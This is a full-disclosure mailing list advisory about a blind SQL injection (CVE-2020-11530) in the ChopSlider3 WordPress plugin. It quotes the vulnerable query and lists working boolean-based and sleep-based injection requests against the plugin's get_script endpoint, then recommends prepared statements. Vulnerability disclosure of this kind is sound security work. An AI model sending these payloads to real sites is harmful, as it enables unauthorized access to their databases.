full-disclosure - [FD] ChopSlider3 Wordpress Plugin SQL Injection

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Message-ID: <CAB4uK3yfX8Kcm=BF9Py3SJ_GbEDcrXN_S5rf17VC4PrDoYqnbg@mail.gmail.com>
Date: Thu, 7 May 2020 14:28:06 +0100
From: Callum Murphy <callum.a.murphy.77@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] ChopSlider3 Wordpress Plugin SQL Injection

----------------------------------------------------------------
ChopSlider3 Wordpress Plugin SQL Injection
----------------------------------------------------------------

[-] Software Link:

https://idangero.us/
https://github.com/idangerous/Plugins

[-] Affected Versions:

ChopSlider version 3.

[-] Vulnerability Description:

A blind SQL injection vulnerability is present in Chop Slider 3, a
Wordpress plugin. The vulnerability is introduced in
'chopslider/get_script/index.php', and allows an attacker to execute
arbitrary SQL queries in the context of the WP database user.

The offending code is located on line 13 of
'chopslider/get_script/index.php':

$cs_result = $wpdb->get_row('SELECT * FROM ' . CHOPSLIDER_TABLE_NAME . '
WHERE chopslider_id =' . $id);

Example injection string:

GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6702
(returns content-length 3055]
GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6703
(returns content-length 1229]

Blind delay-based SQL injection:

GET /wp-content/plugins/chopslider/get_script/?id=141217078 or (SELECT
sleep(10))=6312 [delays for 10 seconds]

[-] Solution:

Use of prepared statements with parameterized queries will fix this
vulnerability.

[-] Disclosure Timeline:

[03/04/2020] - Issue reported to vendor. No response was received.
[04/04/2020] - CVE number assigned.
[07/05/2020] - Publication of this advisory.

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2020-11530 to this vulnerability.

[-] Credits:

Vulnerability discovered by Callum Murphy.

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